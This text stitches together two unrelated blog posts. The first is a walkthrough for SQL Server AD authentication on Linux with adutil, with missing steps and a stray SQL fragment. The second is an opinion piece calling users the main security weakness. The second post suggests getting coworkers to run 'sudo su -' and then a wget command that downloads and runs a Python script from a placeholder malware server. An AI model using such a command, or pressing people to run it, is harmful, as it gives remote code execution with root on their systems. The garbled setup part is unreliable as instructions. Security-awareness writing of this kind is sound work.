Microsoft just released the adutilin public preview which is a CLI based utility developed to ease the AD authentication configuration for both SQL Server on Linux and SQL Server Linux containers.
We don’t need to switch to a Windows machine to create the AD user for SQL Server and setting SPNs.
In the following steps I will try to install a SQL Server instance on Linux using just the Linux CLI tool adutil.
We will need 2 VMs:
tf-wincore01.lab.local – Domain Controller (DC) running on Windows Server 2019 Core (will host the lab.local domain)
tf-ubuntu01.lab.local – Ubuntu 18.04 LTS – SQL Server Instance on port 20001 will be installed here
I will be creating a brand new environment for this test and I am using Terraform to provision the VMs .
Prepare the Domain Controller
Once the VMs are created we need to configure the domain controller:
Let’s verify that we can now gather information about a user from the domain, and that we can acquire a
Kerberos ticket as that user.
The following example uses id, kinit, and klist commands for this.
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id CHudson@lab.local
kinit CHudson@LAB.LOCAL
klist
Install adutil
We now need to install the adutil so we can interact with the Domain Controller directly from the Linux box.
FROM sys.dm_exec_sessions AS DES JOIN sys.dm_exec_connections AS DEC ON DEC.session_id = DES.session_id
WHERE DES.session_id <> @@SPID;'
Conclusion
Our setup is now complete and we managed to perform all the required operations from a Linux machine.
The same can be applied to provision SQL Server running on Linux containers.
This also should apply if you’re running in the cloud.
After reading an interesting article about linux “viruses” (the comments are interersing, too), I decided to raise the alarm about the source of many security related issues
in today’s computers: the user.
The author talks about the many ways to compromise a linux box, even if you are not root.
I will not get into techinal methods, you can find them on the internet or by reading the original article. Instead I will talk about the regular user.
From my experience I know for sure that a regular user could compromise his own system.
Don’t belive me? Make a little test.
1. For Windows
– rename any executable file as “virus.exe”, put it on a web server and give the link to your coworkers by email, instant messenger, whatever.
2. For Linux
– put them to open terminal and type “sudo su -” and then “wget http://www.your_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py”
You’ll be surprised by their actions. You’ll find out that many will open the link or run the commands.
For many of you this will not be a surprise. You’ll say: “I know someone who will instinctively click on the link!”.
Think about that every one of us knows a person like that.
It’s not a hard thing to make the user click on a link or run a command.
The attackers just have to find ways to extract informations from the compromised box.
In the end of the article, the author talks about solutions to this problem.
The easiest solution to prevent this kind of problem is to not just blindly click on attachments that people have sent you. Does that sound like a sentence you have always heard in the context of Windows before? You bet. The point is: Even on Linux this advice should be taken seriously.
In conclusion, there are no bullet-proof systems, only users who are too careless and click every link in their’s mouse way.
